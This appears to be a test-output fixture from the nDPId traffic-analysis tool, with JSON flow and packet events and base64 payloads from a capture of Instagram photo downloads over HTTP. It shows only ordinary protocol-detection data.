+00777{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720900,"pkt_ts_usec":684083,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"ABsv8H60QPMIw47hCABFAAE4wXBAAEAGQn\/AqABnLiFGoJegAFCP9SVkp0jV34AYH+olJAAAAQEICgAD63Ga3vWjR0VUIC9ocGhvdG9zLWFrLXhhcDEvdDUxLjI4ODUtMTUvZTM1LzEwODU5OTk0XzEwMDk0MzM3OTI0MzQ0NDdfMTYyNzY0NjA2Ml9uLmpwZz9zZT03IEhUVFAvMS4xDQpIb3N0OiBwaG90b3MtaC5hay5pbnN0YWdyYW0uY29tDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBJbnN0YWdyYW0gNy4xLjEgQW5kcm9pZCAoMTkvNC40LjI7IDQ4MGRwaTsgMTA4MHgxOTIwOyBzYW1zdW5nOyBHVC1JOTUwNTsgamZsdGU7IHFjb207IGl0X0lUKQ0KDQo="} +00822{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":76,"source":"instagram.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1436720900684,"flow_last_seen":0,"flow_tot_l4_data_len":292,"flow_min_l4_data_len":292,"flow_max_l4_data_len":292,"flow_avg_l4_data_len":292,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.160","src_port":38816,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Instagram","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"photos-h.ak.instagram.com","url":"photos-h.ak.instagram.com\/hphotos-ak-xap1\/t51.2885-15\/e35\/10859994_1009433792434447_1627646062_n.jpg?se=7","code":0,"content_type":"","user_agent":"Instagram 7.1.1 Android (19\/4.4.2; 480dpi; 1080x1920; samsung; GT-I9505; jflte; qcom; it_IT)"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":77,"source":"instagram.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1436720900687,"flow_last_seen":0,"flow_tot_l4_data_len":285,"flow_min_l4_data_len":285,"flow_max_l4_data_len":285,"flow_avg_l4_data_len":285,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.162","src_port":57936,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00768{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720900,"pkt_ts_usec":687959,"pkt_caplen":319,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":319,"pkt_l4_len":285,"pkt":"ABsv8H60QPMIw47hCABFAAEx0CVAAEAGO5vAqABnUlUaouJQAFA6kgvvKZIczIAYH0cqkQAAAQEICgAD63FWCuc2R0VUIC9ocGhvdG9zLWFrLXhhZjEvdDUxLjI4ODUtMTUvZTE1LzExMzg2NTI0XzExMDI1NzYxOTMxNzQzMF8zNzk1MTM2NTRfbi5qcGcgSFRUUC8xLjENCkhvc3Q6IHBob3Rvcy1nLmFrLmluc3RhZ3JhbS5jb20NCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IEluc3RhZ3JhbSA3LjEuMSBBbmRyb2lkICgxOS80LjQuMjsgNDgwZHBpOyAxMDgweDE5MjA7IHNhbXN1bmc7IEdULUk5NTA1OyBqZmx0ZTsgcWNvbTsgaXRfSVQpDQoNCg=="} +00815{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":77,"source":"instagram.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1436720900687,"flow_last_seen":0,"flow_tot_l4_data_len":285,"flow_min_l4_data_len":285,"flow_max_l4_data_len":285,"flow_avg_l4_data_len":285,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.162","src_port":57936,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Instagram","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"photos-g.ak.instagram.com","url":"photos-g.ak.instagram.com\/hphotos-ak-xaf1\/t51.2885-15\/e15\/11386524_110257619317430_379513654_n.jpg","code":0,"content_type":"","user_agent":"Instagram 7.1.1 Android (19\/4.4.2; 480dpi; 1080x1920; samsung; GT-I9505; jflte; qcom; it_IT)"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":78,"source":"instagram.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1436720900690,"flow_last_seen":0,"flow_tot_l4_data_len":291,"flow_min_l4_data_len":291,"flow_max_l4_data_len":291,"flow_avg_l4_data_len":291,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.186","src_port":44379,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00776{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720900,"pkt_ts_usec":690339,"pkt_caplen":325,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":325,"pkt_l4_len":291,"pkt":"ABsv8H60QPMIw47hCABFAAE3v7dAAEAGS+vAqABnUlUauq1bAFCj1oFKfMvpWoAYDTz8dgAAAQEICgAD63JUYaBjR0VUIC9ocGhvdG9zLWFrLXhhZjEvdDUxLjI4ODUtMTUvZTM1LzExMzc5MTQ4XzE0NDkxMjAyMjg3NDUzMTZfNjA3NDc3OTYyX24uanBnP3NlPTcgSFRUUC8xLjENCkhvc3Q6IHBob3Rvcy1lLmFrLmluc3RhZ3JhbS5jb20NCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IEluc3RhZ3JhbSA3LjEuMSBBbmRyb2lkICgxOS80LjQuMjsgNDgwZHBpOyAxMDgweDE5MjA7IHNhbXN1bmc7IEdULUk5NTA1OyBqZmx0ZTsgcWNvbTsgaXRfSVQpDQoNCg=="} +00821{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":78,"source":"instagram.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1436720900690,"flow_last_seen":0,"flow_tot_l4_data_len":291,"flow_min_l4_data_len":291,"flow_max_l4_data_len":291,"flow_avg_l4_data_len":291,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.186","src_port":44379,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Instagram","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"photos-e.ak.instagram.com","url":"photos-e.ak.instagram.com\/hphotos-ak-xaf1\/t51.2885-15\/e35\/11379148_1449120228745316_607477962_n.jpg?se=7","code":0,"content_type":"","user_agent":"Instagram 7.1.1 Android (19\/4.4.2; 480dpi; 1080x1920; samsung; GT-I9505; jflte; qcom; it_IT)"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":79,"source":"instagram.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1436720900692,"flow_last_seen":0,"flow_tot_l4_data_len":291,"flow_min_l4_data_len":291,"flow_max_l4_data_len":291,"flow_avg_l4_data_len":291,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.185","src_port":57965,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00776{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720900,"pkt_ts_usec":692262,"pkt_caplen":325,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":325,"pkt_l4_len":291,"pkt":"ABsv8H60QPMIw47hCABFAAE3iBFAAEAGg5LAqABnUlUaueJtAFAE8EMOWjfyZYAYD+bdMQAAAQEICgAD63JZ6ogYR0VUIC9ocGhvdG9zLWFrLXhmYTEvdDUxLjI4ODUtMTUvZTM1LzExNDI0NjIzXzE2MDgxNjMxMDk0NTA0MjFfNjYzMzE1ODgzX24uanBnP3NlPTcgSFRUUC8xLjENCkhvc3Q6IHBob3Rvcy1mLmFrLmluc3RhZ3JhbS5jb20NCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IEluc3RhZ3JhbSA3LjEuMSBBbmRyb2lkICgxOS80LjQuMjsgNDgwZHBpOyAxMDgweDE5MjA7IHNhbXN1bmc7IEdULUk5NTA1OyBqZmx0ZTsgcWNvbTsgaXRfSVQpDQoNCg=="} +00821{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":79,"source":"instagram.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1436720900692,"flow_last_seen":0,"flow_tot_l4_data_len":291,"flow_min_l4_data_len":291,"flow_max_l4_data_len":291,"flow_avg_l4_data_len":291,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.185","src_port":57965,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Instagram","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"photos-f.ak.instagram.com","url":"photos-f.ak.instagram.com\/hphotos-ak-xfa1\/t51.2885-15\/e35\/11424623_1608163109450421_663315883_n.jpg?se=7","code":0,"content_type":"","user_agent":"Instagram 7.1.1 Android (19\/4.4.2; 480dpi; 1080x1920; samsung; GT-I9505; jflte; qcom; it_IT)"}} +02335{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720900,"pkt_ts_usec":716768,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+uH1AADkGTewuIUagwKgAZwBQl6CnSNXfj\/UmaIAQAiku5gAAAQEICprfPdsAA+txSFRUUC8xLjEgMjAwIE9LDQpMYXN0LU1vZGlmaWVkOiBTYXQsIDExIEp1bCAyMDE1IDE2OjU3OjA4IEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9qcGVnDQpDb250ZW50LUxlbmd0aDogMTUwMDMxDQpDYWNoZS1Db250cm9sOiBuby10cmFuc2Zvcm0sIG1heC1hZ2U9MTIwOTYwMA0KRXhwaXJlczogU3VuLCAyNiBKdWwgMjAxNSAxNzowODoyMCBHTVQNCkRhdGU6IFN1biwgMTIgSnVsIDIwMTUgMTc6MDg6MjAgR01UDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCv\/Y\/+AAEEpGSUYAAQEAAAEAAQAA\/+0AfFBob3Rvc2hvcCAzLjAAOEJJTQQEAAAAAABfHAIoAFpGQk1EMjMwMDA5NjkwMTAwMDBjMzQ3MDAwMDEzNjQwMDAwNjM4NDAwMDA4MzJiMDEwMDBiODUwMTAwODdkZjAxMDAwZDRhMDIwMDlkYTIwMjAwNzY3MzAzMDAA\/9sAQwAGBgYGBgYLBgYLEAsLCxAVEBAQEBUbFRUVFRUbIBsbGxsbGyAgICAgICAgJycnJycnLS0tLS0zMzMzMzMzMzMz\/9sAQwEICAgNDA0WDAwWNSQeJDU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1\/8IAEQgEDwQPAwEiAAIRAQMRAf\/EABwAAAEFAQEBAAAAAAAAAAAAAAUBAgMEBgAHCP\/EABoBAAMBAQEBAAAAAAAAAAAAAAABAgMEBQb\/2gAMAwEAAhADEAAAANnYrv6OWePnpwvl4Ucr5ZqutmsxzGNFZbBKECWI2oX8gp+rqOdscgJarTJrPTiAtUZEnHz0qOljcEskD1c01Rksi2ko7C10FaSJqLDY0bkkglRK+J01IqIm99eIL6jmheWgjCKVJUTsjcmxJXNVG3K1KNr3irtvMCithKVbraoq9cQKb5mse+vydpRzhEXinDIvFyoIspSDsdW4LfVORbSFGS9z0Q07Vapihe24SRFCV8D5p7U4fInJNSacY9CnDoLekTpOusTppdQVRUWk5Z3S6nSOaiisOZWrWqtSjFjqVjcxzA+ktxbdV5FmYfOO1PR5O6tOVN6dGCvruavqOenPG2AT0hWptvhfNzvglTijkaS2WB9FlYElvdXcE7qNkc6sYnO6nwWWwvB6cwHJ3BI+Pk7LqzU7SQPCRiRBzWw1M8o9Wr7h8yd2Yes0RUdMne6nInZbXUcjq0gpefEOw6FZdhsSpo1\/NNSRGRwz8KussbUKdHc9LXYK7JQkHbZE9CMRrLHVuCy6tIhIp+ajbOxDZOaN8kM6b52TRosiOmpWqktXN4fR9WcyxQQ3Mi1m1NxKzxO57gjldCOau1Guh6KocxG0s90jNuePlRqSaiqL7xrhlZBD1ROCogrq0VC86jwXI66CmfUcy84e5MlIKemSZRcnZWo5lqOCIVpafMuyjnIKtHOmrjanNWmV0at9VUdlavIty0UHfcNVBHhvASbQRlyCBWndG1xZlpvVXVpuTtPpPHelHPmiqjZJuxJVci8tKRVa6m0Lsg1QJNocO+lKMV1BqVN+Km1zbjrI1P1ZzUr6iNEZRL5ZRw56q6yDgmfWQLsg16ZNg3hkHi+ETQdInbdS4duCJorHU42r7hqMKoMQCnCeAuojkF0F8BRBzhkEpcFpK6im5sQ5GRJU57qi78tptbhTpBzLHQKE7qrwsdX4LS1+Ts9Uc1YWugWOruCfoFCwtRydla3CsLCo7DIlTl6FQm6BQnWuoT9DwSpCoS9DwTdA4JVrqE\/QKOx0ChM6u5EjoeCVY+ZIiIA="} +00425{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720900,"pkt_ts_usec":717195,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0wXFAAEAGQ4LAqABnLiFGoJegAFCP9SZop0jbaYAQH+o19wAAAQEICgAD63Sa3z3b"} +02335{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720900,"pkt_ts_usec":717531,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+uH5AADkGTesuIUagwKgAZwBQl6CnSNtpj\/UmaIAQAim7PgAAAQEICprfPdsAA+tx90aIlfAo5VgaFp1RR2lqIF11HkXG1EC0kCNTtiUHtjVp6NcD2pwL3cCqxUOdE4JFh4qboeFOsCpz9Eidh9bgtdXUdh9SVOeSpyd3qyp2GRODmO4I0mRkHS8KHpOY3nKhiq8InOUI+lYNvLwmo5jSORAzTOTbndzUE5Y3MVUQHOi4UqtVNyNQUqN4JEYoPVnA9Y1CTo+HL0aikRnBI6FBzLC4cqxIKVYeHKkfNTLCqbuYgpXQqORYuFN0aJyOi5k\/QKnMtfhWUroFpK\/BZ6vwTrAo5kruCfoHBMkSse6B6UnRqNeZwpejUb0a4ORqg9E5jlaiHonAvciarG9iObyOVEB\/MQUjo+Ke+BQnfVVOZYFFZSuo7HVlCwlfgsNhQJ+hQJuh4UqwuHJ0SBK6HhyrAqUvQ829WtFIsSAPSdHMCWEZAk3CjSXgibY5qBJ1CDp+CJLCBAs6irLb4dPrTAhbPwonSOCDpkCJZOCPnqEXSo1GsqIj6RRxJKgo+m4IVm4cPWECLrHDq9Ogmc\/gj5eEnKo+a9oIqqzlaoIqPQndwKqI25WuS7u4Hcjxo5HDZ0iCZz+R3c5tj0cNiqiSdyiY9HJpzubY16iYqqNjlRCKqg3l4E5UDkXgReUER3A1V4E7nDaj3BE9yA1e4OTkBVagORvA7m8CtRQdzlm4GzRuY+fzmPnKDedwNVeBeRwLy8nZWCdWreQIGTJWcSSvCBbXKqjrKCrrMjIekQUXS81E5yoj5\/AxJHBC93AiOcNjnKNiP4IemUUD5FCLpnjpusvRVS2g6rbyhQ68gUVtNarNnRqBbKBVkkcKDrajqLYcFZbD06nW+Cp1tGVFtqiktvmU1tclVbbeFPraBXS2o6S2lCp1vh1EsqKq6yiKy2ECssjWm8\/gTlUacrQVEUHN5AXmKDuj4HJyC5HINEc0SK1wI5jgc1UG5WonI1OT5U5jXM4lyIoI+JzXOTgfzeTc+HglVqpvcijR\/Km57XqkRzQjZI2oi5yOWK9A5XcNnLwlc6RVC2y0IelUI2zIDOXhN6VSoknalG9yjje6QcPSIDeV4RLIoV2zuCu2eNqDpkag6RrlOVAcqcDnRqN\/R8KZGIiR0KssLWVOV0DRWHQcOZ8KBP0KpyLFwSoxRuRqg7m8hyNUE5VBq9wcjkTR3OY1zkG1H8kxXK3G9rko0e9jGTqnTdZcKi64rdF17kUGklTBssxaZRsnQK\/TsFEkqMj53CRHcLu7hryIDlY8OVFQ5YUHOsHBP0KhYdWULCwNCZYOZOtdUTLW5q6lXk7nU+C6lVgW0r8E\/VlatMhVOboeamWFETpErJei5OTo+adzeByxoEvRcN6c0T+bw17kErmKNeZwpFicNVZzT0YiU6R8OXoXBIsSse+FUS9C8JUYo5OjUJOjVD1Yg5kiQJkjUH9FwSrDyJEajJUa1OToualSNoTJGgSpFwToxoTtjaiz0LSp5KvBbdU5O11N4NjsxuIWzoOBszGolc4UaP4I0laDGyI0jXoCLyh3ciFRWg7uaNVbzT1YiJUjcNyNRp8jHJqyTgjSy0Iem4IUma03noDec0OVeBvLwNRVJbz1G1HoNEeompJwMXnji5eEqORtFRwkVVTaj2AqtUOTkacncm6JUaVWuFy9w15vA\/mID3xKD3R8D+YqciN4bnMQUiNcNea4OTlDuRQaqoHdyg1FUEaqoRUeEbn8NqS8OJX8lGr1HE56hE53A1yqnajtNTq9aYMe6OZzD0rQYj0BiO4TEe1pGvcEaSoNGS8DEe5ETZuZB0zSY1VWRucoRJKgNWZ6cHSPCBZkBrZ1HXbfVFBb0bKiWeFXWVGo+l4IVegJy8JV5B81eEnLzOcxU1RHM5HqhjncNivVEbZWMj6VBRu5zIk="} +02334{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720900,"pkt_ts_usec":718233,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+uH9AADkGTeouIUagwKgAZwBQl6CnSODzj\/UmaIAQAimlFwAAAQEICprfPdsAA+txXqETncHcrk4+mQIesIEHT8FfpXNQpNwoVkcOFz+Q3nKxj1enGqPBvOcm3n8NjZFFH0rQa2ZE40lRpiyKnF0zx1+n4IW2WhCk7kVuscOB0vBE6XguxYX0KaqxXIqnEajzf00UDbEQRdI0Imytaj53CbzkHySonFzkaXnMQqKjOR7RNdIg2cvBFJyic6LhyLGgSI1oTLC4Jlg4Jljcm5eaDm8gnd3DRHI5VeVNFRRoruBrX8JvPVjHdyfdJGDkRGKrFBWq0Sq3g5vNa5Wc57k4JOYgPdHw5eRFXOic5mbGicvRqJ6xtHO2PhOVqNO5OGronhzmcErWqh6scm7m8NysVConMfyKmi8oPRqDcjZQ7u4EXuDu5Q7k5Pxb2Dw83yd3t1e8B7ODyH2jwD6CRAyaJqNr1CFsjQjZIrmNJETaj2jcicHdyCcyRg1TuaVzERI1itOdGgPRqgqIgPRrgXm8D0jVqRYeCfo0TlWHhWUh5ufo0RL0bhvdG5D0Y4buaoc6N4uVvDVWKHdyNN5EadzHgxVRrmcolRFDu5AXu4E7uBU7gR3cJORAejUZIjeQ7kQHozgkWNW3I1yF5EE90fDfJFIm5rUCbmKNysVHPaqblag5ObwLzkBVY4fc3gkRFBUVU\/m8nkd\/w+n6WR8T9F0wwPu\/jPudZV4bsPTzU0sxBAyaMIekaJqSMBqLwN5UBU5B81eacnICt5RdyKHdyAnc5pnOUTechTeXiUXlBnSNGnKrTeRQ5WKDnRqEroXJy9E4cyxvlv5jm+5iCcsPOZViUbkYhMiNVj3Rcm5UaxF5RdzVBUcwfcqCRzVDkRWnI1yaKx4dycCLzhJyKPkRRL3NHzmOFyt4H8xBvVjwcicDuRRy8x80vM4UvMUcnIqciRqN3NUFcxQVYXBIsTQ+c9WPo+d6xhM+Tc2\/X\/EqGvP70V+a9ppl7XHHa2wpRXoWqjLLQrsnjFG2Tgi5yA1HoyNyoDecwnl5Q5WTDj5eDl5QaiuBvLwmOdwR85WNSRqGc5GN6RAYq8JqrwJzuZ0jVmn81AesDmcrOcu5FDlRUK1yM5U5NUXmI5rhcqKDZE4E6Rg2I9BIj0BF5wNRXCZzkBvO4acvByOQG89ATlQE5yAnLwIj2h3Ko07lEjkUFfGqruThK9jhv5qoVWPGvNaiRGIx6x8h7V4PO83Su+X7d6MmxPMgvSwWmAPRTkCqm3zYTTL3KPMazs4KkdqNzVhu1wbQK1ARtloq7LDGq75OCJX8nG2VGmOVRx9IgmpIg2qqiaj0BF7garnAxZFTh6VWQrLwRK7kR9K1pnP4GdyhHzupNVyIaq8xqu4EXlS7lUbXKgc2XhxOcomq9E07uGjXc5TncCc\/hx8\/hMcqNJznDj56IakrRtbIrUfOUIlfwMWTk42yK1ErnoiVyA1JEBiScxvKiFVVBnPUGuWebqudzlvKo0bI0GKvAiKoeBF8d6d5ns2RZTHZ6a5eP3lkqG58+bOrkZh7XU+UZK8vrKPM63t82pWv02nUCw9j3TNCs2zwVGWUFWSw0IWzNFE56DjV3CbzlBvOcNiOUTVVw289A5r1CPnKJqu4bEfwmc9ompIo4VkRqJZVCFJkCPpOCLpkCNJUaY56qm8qgnLwI7uTTncJirzGc\/hMdyhyPQEc5w42yuFA+ThwpMoQpKgo+lQcfSqETZ0CJZECPpmg1JlRA2djGIkacrImJ24lIRpUQuPmoZKQgZqzkoitxTycjjRz50uO7xSgiHlS8+6B15+eVhjvN9i8fzZqHGPKCgZlX19Fb0GWuI1c9TND3m2+V9f0cn0TW8f6s\/dxUVrfmsJZaFNbLGq\/SInA2djUTZ2jhSVR1+lapj6RzInuQcazNBnPcESyIJnSOCFXuCF8ijg="} +02335{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720900,"pkt_ts_usec":720003,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+uIBAADkGTekuIUagwKgAZwBQl6CnSOZ9j\/UmaIAQAilD5gAAAQEICprfPdsAA+txOmUUPTIELpFCFZVHAszRRdMgRJOgRNsKFbrHNVlsIEHS8iLpmhG53AxJeYzpETjc5wonpQVX1HSxpegGSTdqIbErIpctSxfaG+ngytnK64612KtaZ6vgKgcXPWI0NRjVipqI+sUcYEkTPzgNFnrnpzjUyhfMOzswNqgqmZkC6w2KKUFdI6bqVykTkaXoMqdbAPjy0v6XH8GrrC3k+NlqzJsxbzEqejzOs8sQepg2VG0iyF0NrFk4BkxUDrg\/ZzBqalc60MRxPMNFZU6L0BPGyXP0NF556L1+e2B87mv0yMhSdAh6fhwpY4IOsIKuszggdYgBqVFZadSHpnHZOnN7GPKvnTQQAKTWtbjUudrey0eWhemXhmqyR0WjRrAxVPp9XFWs9NXNlr2eigzxceQs6QJedWyFr646m7i4w1leRsWsJDRJ5SvrQ8XThLFI0zVlpcMX2nBXI6ElU0mqSE6EVu1nq0VKYz\/XOnojtlNZV3oYSKz9Q4CuSlE1PDyUstTSJarGUiJZt\/HWK9BQmpq1OapUZZlpAUujt8FRbbT7wmpF6my4xzdIenZjCjKWJiCljzIuhRvjU\/NxkFMtom3TufR\/MdOJQE47aFlVLVZhK4i\/rkVbW5UeEWfQo1zuf9co53lc\/vYbkME3oqTMWyUjAO18\/wBFrl7fLlTXb595leAV9RYcNGPyrqC3ZeJvWz5oLF7JKBABLSUbKNYi6kKtOqXFqGugp+Yg4WTJUQtnIAOJ2R+d2nCZVVyGnwSsV7KthLArMgzs9Cjx1ub1Ogzmr5t8ZTs1dIW9n6OuWhaxk2Y0Pmenz03IgbPjo44OgTMghNOlNUgm2yJ3x1iKv5i7bAAzW06WYhOrcUirKcUT1WSt53frssqroKeAAgnZZ7owa6ncvMQTuVgJNHvz0uSC5QuVbL5sNYW9cCKm6ajMFrSZ6VDAM9NLShpKik4GQDsWfhaMxio2vLH72Dl78Sm2c1i3bauqx6bdwsW3bwqslNrIRAmmMdty6rSCNDCGRJapBUMCIpzVsCgWvEydtWlcFzdAOnu4s7eqR+Z0SbZY2roTs1h9LahmswKtnzURO61vykvQvOfRdMo7A4cw7EJkavNz+hqa9tbFSNjOsQDhNR0B2GmORRd1yLEEri5a1eO0c9IOZFUuqWdMnhE07amsRpV4dptXmSPgmYDh2FhrH9pSSeX0NShL0QwNKB2ATKrvU7kSKxAXZqXRreTcQq3s7YIK06kbRLDdc5ZAdO89zDmJo00daGbPRLkLGh9EjY0yFaCzPnqHpaoUmLJW6rRO6BJZWRDWq6qqZyk+kGhlag5ItqDrglUjkCrVI9c1Y317ierzxmnZPSeR6sko6jUnky9RrXwecEandsy3TeugC3Idrz\/cQBlZyGR2y0Ch4WbSkDOvJTARyqaCu5NofQQNGZoqCZN4yi0s+cXbEiVG3uHvYPXqMJqRLennIkczaDX+jeLmktAPC6bOxLzUcUC4hV3w7WZLO6R7bHnjXTzyKxlKG7GemoYJFy1rzvQclGzAESSPcjzVWwqVo0e4PRi7DGiy6XA8yMB1G\/dmamemhq52HbGzFG\/TOBlhrmanYYFW41oGSORZGu3gys8WeiFWR3Hi2CNkcrJNHh9N4R1rDdMqNyrVvP0BBhfk7XXspCg3LnKlLWVcxPUm4s5VrPVVs5Fc6OpGbmqVvQMw6AhdixU6tt5a13TPVU7fSJsrzcACDSD9ssuZx+h5Nxuftj3VbYCCbjGbjKkp0I5zQ2ZeXL3JFY+GYi5BZra4bXK1W6KpkG7YmPzDTbKmlRHHXxUAfQWKnBybQbRFONMZ9A6taz946jEeo4Voaxmq1worYNzeTDeyeTMr3Z1qApmJZrQGAZDDWOXIntsbwMs="} +02338{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720900,"pkt_ts_usec":722078,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+uIFAADkGTeguIUagwKgAZwBQl6CnSOwHj\/UmaIAQAin7XQAAAQEICprfPdsAA+txCJvfajwwxvj6hH5\/Nee10nkkk16fFlC22RGIbWvM7AFuNSOpo1afR5F+k2FkNmu3TK7DGidZzp6iB7uVO5rk+c5o2NmUVbpowSN\/AxHOCJbJSaF2NNFj0CJdFPjrkB\/osYeYp6Ln98M6lultivdzjpoHjlbE5NY1RjF1mm5unGGDsPP1RSQ2ctKTLcTUKPjpRREnhTLwOh2GwQKrq1plVdXSuUbM1Pyuu65z9Ofg0dZ5kj\/n9DXP0ZnjvtAmQCoFRjzHf5mgAYGaJm\/8g9FxcNkM8+mRAnkbsaacZQ1E1UWXFoNm8PPrkQF67OhitgP00aYSp6NldM9\/HlNTKp2c4O3x2OfMgZrS+a7GnvnldEG02d4qxdrNa3OFxs1OlCZPQTRzZaDut3I0bZsSVCJDZqbN4ER6eYmkqd\/n1orcTiOaCELCNshXjttHXZLCLpFVOv1rmQTVbGO0k1aXSHdEg7KpNFtjlgTjimWpgtvWas2K9zLaa\/StYb2pK7MtLcVN1KXolCAVo69zkR+2r78+HftB2mWekO6ebzmjmrcnXYjqJNX+qxhdtBLKpsk1xMc+eynRittarSx1nNtJJVVLrKjruiq1mTlFzKsRDWk5OvOpUM7Y2Enc5z+vzBdqwotyZhR4ZzppIsyzeeXkaKeml6cWVC6vHUaPXebGpdi0GH1Fzc53RTVfNGb0Xhmnsbvhp6KgJ0O3M3YmtAAaJ6MfQ8sKl6+IzrshtPP7qb55eTtghHaro5sJDcpbY3w+uzUurc6RVYHlSUtz+qzVx0md0yOPzTFe0zsoesz9WpZjWRkFJrZmMCW7eDQ8OO789fp49Ia+LhdE\/osQZy+k5Ot7ZLfZyUp7ckaUkISzWUsT6zHfFS7AdriDvLBS6zRnlkrNSfHosIi56QLHHU3JRaCJPFcF2vU65nRrBPlrcF+KvEqMksVLNamMPHNaBGuz051alUlIBD6ki4feHHK101ZZEsu2tJwWmxoDFYlT4CSW3m9sP0fT